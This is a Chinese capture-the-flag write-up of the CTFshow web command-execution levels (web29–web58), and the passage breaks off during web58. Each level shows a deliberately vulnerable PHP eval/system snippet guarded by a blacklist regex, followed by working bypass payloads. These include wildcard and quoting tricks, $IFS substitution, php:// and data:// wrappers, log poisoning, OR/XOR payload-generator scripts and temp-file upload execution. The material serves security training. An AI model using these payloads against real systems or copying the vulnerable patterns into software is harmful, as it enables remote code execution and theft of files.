CTFSHOW-web入门-命令执行

命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

web29

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=system('tac f*');
1
2
3
4
5
6
7
8
9
10
csdn:
通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||
还有很多姿势,毕竟等于没过滤

web30

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=var_dump(shell_exec('tac f*'));
1
?c=passthru('tac f*');
1
csdn:c=echo exec('nl fla?????');c=echo `nl fla''g.p''hp`;c=echo `nl fla?????`;还有上一道题的很多payload都可以使用system()passthru()exec()shell_exec()popen()proc_open()pcntl_exec()反引号 同shell_exec()
1
more:一页一页的显示档案内容less:与 more 类似 head:查看头几行tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看 file -f:报错出具体内容 grep1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file stringssystem()passthru()exec()shell_exec()popen()proc_open()pcntl_exec()反引号 同shell_exec()

web31

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=passthru("tac%09f*");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
csdn:
c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

web32

源码:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1
2
3
4
5
csdn:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web33

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1
2
3
csdn:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web34

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac f*');?>
1
2
3
csdn:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web35

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
?c=include$_GET[a]?>&a=data://text/plain,<?php system('tac f*');?>
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
1
2
3
csdn:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web36

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
1
2
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php assert(system('tac f*'));?>
1
2
3
csdn:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web37

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}
1
?c=data://text/plain,<?php system('tac f*');?>
1
2
3
4
csdn:
c=data://text/palin,<?php system("nl fla*");?>
还可以配合UA头执行日志包含
c=/var/log/nginx/access.log

web38

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

过滤了php file无法直接写命令了

做法一:

利用User-Agent配合文件包含执行命令

image-20210727162553736

image-20210727162717984

做法二:
1
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==

image-20210727163549746

这里发现base64字符最后需要以等于号结尾 不知道为什么

例:

phpinfo()可以构造最后为等于号结尾 加一个分号phpinfo();不是等于号结尾就不行了

image-20210727163659304

image-20210727163748202

1
csdn:c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=也可以日志包含c=/var/log/nginx/access.log

web39

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

限定了传入的字符加上php后再进行包含

但是没有过滤php file字符

1
2
3
4
5
6
?c=data://text/plain,<?php system('tac f*');?>
?c=data://text/plain,<?php system('tac f*');?>.php 后面加.php后缀依然可以包含
但是如果换成base64 就破坏了原有的base64语句 无法执行

Hint:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

web40

套娃

源码:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

无参数RCE 参考链接

1
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE

可以传参,但是对输入进行了严格的过滤,如果通过检测,就可以被eval执行。

过滤了几个常见的伪协议,不能通过伪协议读取文件

preg_replace函数中的正则匹配是无参数函数的校验

其中的()是中文括号

其只允许执行如下格式函数

1
a(b(c()));a();

current() 返回数组中的当前单元, 默认取第一个值。

localeconv() 函数返回一包含本地数字及货币格式信息的数组

pos() current() 的别名

这里还有一个知识点:

current(localeconv())永远都是个点

?c=print_r(localeconv());

image-20210727185710560

?c=print_r(current(localeconv())); 就会返回一个点

因为

current() 返回数组中的当前单元, 默认取第一个值。

image-20210727185932975

current(localeconv())永远都是个点

1
print_r(scandir(current(localeconv())));=========print_r(scandir(pos(localeconv())));======================print_r(scandir('.'));

image-20210727190046029

我们现在需要读出数组中倒数第二个内容 即flag.php

首先想到的是通过随机函数来读 array_rand()

array_rand():从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。 它使用了伪随机数产生算法,所以不适合密码学场景,

但是array_rand只能读出键

所以想办法把键值对互换

array_flip()交换数组的键和值

?c=print_r(array_flip(scandir(current(localeconv()))));

image-20210727190433459

键值对交换完毕再用array_rand()随机读取

?c=print_r(array_rand(array_flip(scandir(current(localeconv())))));

刷新就能刷出随机的文件

image-20210727190633383

做法一:

配合readfile/highlight_file等函数读出flag

1
?c=readfile(array_rand(array_flip(scandir(current(localeconv()))))); //不太好用
1
?c=highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); //好用
1
?c=show_source(array_rand(array_flip(scandir(current(localeconv()))))); //好用

image-20210727191432990

百分百读出flag

1
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

array_reverse函数:array_reverse() 函数返回翻转顺序的数组。

next函数:next() 函数将内部指针指向数组中的下一个元素,并输出。

反转一下 读第二个 正好是flag.php

做法二:
1
?c=show_source(session_id(session_start()));

配合session读文件

踩个坑

之前做的题的payload不行了

1
?c=system(session_id(session_start()));

image-20210727193440141

改成这样就行了

1
?c=session_start();system(session_id());

image-20210727193506288

但是把session改成文件名 配合函数依然无法读取

查阅发现:受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。

web41

源码:

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

用了大佬的脚本 两个脚本结合

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date: 2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}

//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}

//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";

for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}

if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}

}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}

}

generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');

or.py

1
import requestsimport urllibfrom sys import *import osdef action(arg):    s1 = ""    s2 = ""    for i in arg:        f = open("rce.txt", "r")        while True:            t = f.readline()            if t == "":                break            if t[0] == i:                # print(i)                s1 += t[2:5]                s2 += t[6:9]                break        f.close()    output = "(\"" + s1 + "\"|\"" + s2 + "\")"    return (output)while True:    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"    print(param)

xor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import urllib
from sys import *
import os


def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)


while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)

php生成字典 python结合字典生成payload

踩坑:火狐渗透便携版的hackbar可以执行

image-20210727211411183

1
c="");("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%00%06%00"|"%60%60%60%20%60%2a");;#

image-20210727211625683

image-20210727211542552

抓包可以

image-20210727211759147

新版火狐不行

image-20210727211708147

web42

源码:

1
2
3
4
5
6
7
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

参考文章:https://www.cnblogs.com/ultranms/p/9353157.html

简单理解

1
重定向绑定好了,在有了以上知识的基础上,我们再来看开头提到的>/dev/null 2>&1。这条命令其实分为两命令,一个是>/dev/null,另一个是2>&1。1. >/dev/null这条命令的作用是将标准输出1重定向到/dev/null中。 /dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。2. 2>&1这条命令用到了重定向绑定,采用&可以将两个输出绑定在一起。这条命令的作用是错误输出将和标准输出同用一个文件描述符,说人话就是错误输出将会和标准输出输出到同一个地方。linux在执行shell命令之前,就会确定好所有的输入输出位置,并且从左到右依次执行重定向的命令,所以>/dev/null 2>&1的作用就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
命令 标准输出 错误输出
>/dev/null 2>&1 丢弃 丢弃
2>&1 >/dev/null 丢弃 屏幕

利用%0a截断后面的命令 得以正常输出

1
2
3
4
5
6
7
8
?c=tac f*%0a //%0a换行
?c=tac f*;%0a

?c=tac f*;&
?c=tac f*%26

?c=tac f*||
?c=tac f*%7c%7c

web43

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了 cat

不影响上一题的payload

1
?c=tac f*%0a

web44

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤又多了个flag

依然不影响第一题的payload

1
?c=tac f*%0a

web45

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤多了个空格

把之前的空格替换成&09(tab)

或者用$IFS $IFS$9代替空格

1
2
3
4
5
6
7
?c=tac%09f*%0a
?c=echo%09`tac%09*`%0a

?c=echo$IFS`tac%09*`%0a

?c=echo%09`tac\$IFS\$9*`%0a //仅第一次执行回显flag
?c=echo%09`tac$IFS$9*`%0a //仅第一次执行回显flag

web46

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤增加了数字 $ *

换个通配符 或者用 \ ‘’ “”绕过

1
2
3
4
5
6
7
8
?c=tac%09f???.php%0a

?c=tac%09fla\g.php%0a
?c=tac%09fla''g.php%0a
?c=tac%09fla""g.php%0a

?c=tac<fla""g.php%0a //用<绕过
?c=nl<fla''g.php|| //||默认是前面成功则不执行后面

web47

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤多了几个可以查看文件内容的命令 和上一题差不多的

1
?c=tac%09f???.php%0a

web48

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤多了几个可以查看文件内容的命令 和上一题差不多的

1
?c=tac%09f???.php%0a

web49

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤增加了反引号和%

1
?c=tac<fla\g.php|| //之前的用?匹配的payload用不了了

web50

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

增加了点过滤 和上一题还是差不多

1
?c=tac<fla\g.php||

web51

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

我最爱使用的tac被过滤了

1
2
3
4
5
6
7
8
9
其他命令
?c=nl<fla\g.php||
?c=uniq<fla\g.php||
?c=vi<fla\g.php||

tac混淆
?c=ta\c<fla\g.php||
?c=ta\c<fla''g.php||
?c=ta\c<fla""g.php||

web52

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

过滤了<> 把对$的过滤取消了

1
?c=nl$IFS\fla\g.php|| //./flag.php 是假的?c=nl${IFS}fla\g.php||        ?c=nl$IFS\/fla''g||  // /flag 是真的?c=nl${IFS}/fla''g||?c=nl${IFS}\/fla''g||

web53

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

不用截断了 可以直接执行命令

1
?c=ta''c$IFS\fla\g.php?c=nl$IFS\fla\g.php?c=ta''c$IFS\fla''g.php?c=ta''c$IFS\fla''g.ph''p?c=ta''c$IFS\fla''g.ph''p?c=ta''c$IFS\fla''g.p''h''p?c=ta''c$IFS\fla''g.p''hp?c=ta''c$IFS\fla''g.ph''p''?c=ta''c$IFS\fla''g.php''

web54

源码:

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

过滤比较严格 不能用符号混淆匹配了

匹配到bin下的命令 查看flag.php 这里不用$IFS\了 不太明白为什么

1
?c=/bin/c??${IFS}?????????c=/bin/c?t$IFS?????????c=/bin/c?t${IFS}?????????c=/bin/m???${IFS}?????????c=/bin/mo?e${IFS}????????

web55

源码:

1
2
3
4
5
6
7
8
9
10
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
方法一:

通过html表单构造post上传包

参考:https://blog.csdn.net/qq_46091464/article/details/108513145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://192.168.2.179/index.php" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

这个tmp文件在linux下面保存在/tmp/php??????

一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)

然后通过的 . filename 去执行里面的文件内容

注意:通过.去执行sh命令不需要有执行权限

p神的无字母getshell:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

1
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。翻开ascii码表,可见大写字母位于`@`与`[`之间:

tmp下的文件太多了 因为临时文件包含大写字母 让其中一位是大写字母 多发几次包 就匹配上了

1
?c=.%20/???/????????[@-[]

image-20210728183704339

image-20210728191629607

本地实验

tmp里生成的php临时文件属于秒删的文件 需要条件竞争

本地源码:

1
2
3
4
<?php
highlight_file(__FILE__);
$c=$_GET['c'];
system($c);

.%20 .+ 跟文件名都可以

image-20210728190756221

本地全?匹配可以匹配到 可能是因为本地临时文件少

image-20210728191743174

image-20210728190629382

image-20210728190706636

方法二:

有这个命令的服务器可以用

image-20210728192220599

image-20210728192203671

1
?c=/???/????64 ????????等价于?c=/bin/base64 flag.php

image-20210728192113682

web56

源码:

1
2
3
4
5
6
7
8
9
10
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

屏蔽的字符又多了一些

base64读取的方法就不能用了

用构造上传的方式 文件名随意

1
POST /?c=.+/???/????????[@-[] HTTP/1.1Host: 36af94db-2741-4936-9b3f-628b371c2bf8.challenge.ctf.show:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------349241911439794304192858724099Content-Length: 361Connection: closeCookie: UM_distinctid=17a32dd57bc2ad-0ac4229db2de46-4c3f2d73-1fa400-17a32dd57bd911Upgrade-Insecure-Requests: 1-----------------------------349241911439794304192858724099Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: application/octet-streamcat flag.php-----------------------------349241911439794304192858724099Content-Disposition: form-data; name="submit"提交-----------------------------349241911439794304192858724099--

image-20210728194331502

image-20210728194410844

web57

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

把问号也过滤了 同时定向system函数里cat命令查看php文件

1
$(()) = 0$(( ~$(())  )) = -1$((~$(()))) = -1$(( ~$(())  $((~$(())))  )) = -2$(( ~$(())  $((~$(())))  $((~$(()))) )) = -3最后再把构造的字符str放进 $((~   str   )) 进行取反 假设把-3放入$((~  $(( ~$(())  $((~$(())))  $((~$(()))) ))  )) = 2假设把2放入$((~   $((~  $(( ~$(())  $((~$(())))  $((~$(()))) ))  ))   )) = -3
1
取反运算符~详解:https://zhuanlan.zhihu.com/p/261080329原码、反码、补码知识详细讲解:https://blog.csdn.net/zl10086111/article/details/80907428取反原理:    就是补码取反 以-3取反为2为例第一位为符号位1000 0101 = -3二进制原码: 1000 0011 取补码 :       1000 0011 取反码 1111 1100  +1为补码 1111 1101补码 1111 1101 取反    0000 0010 系统输出时,由于他的符号位是0,系统认为这是一个正数的补码正数补码即原码,最终输出0000 0010=2    以2取反为-3为例0000 0010 = 2二进制原码: 0000 0010取补码:    正数的原码即补码 0000 00100000 0010 取反 1111 1101    系统输出时,由于他的符号位是1,系统认为这是一个负数的补码    负数输出时,先将系统认为的这个补码减一得反码1111 1100 再取反码就得到了原码 1000 0011 = -3

小脚本

1
# -*- coding: utf-8 -*-# @Author  : Summer# @Time    : 2021/7/28 20:09# @Function:str='$((~$((~$(())' +  '$((~$(())))'*int(input('请输入想要构造的数字:')) + ')))) 'print(str)
1
?c=$((~$((~$(())$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58

源码:

1
2
3
4
5
6
7
8
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

乍一看简单的命令执行 试了一下危险函数都被禁了

1
c=highlight_file('flag.php');c=show_source('flag.php');

之前的题目payload

1
?c=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
1
?c=show_source(array_rand(array_flip(scandir(current(localeconv())))));

学习一下Y4师傅的payload

1
2
3
4
首先要获取文件路径,在这里我们可以用两种方式,我暂时想到这两种
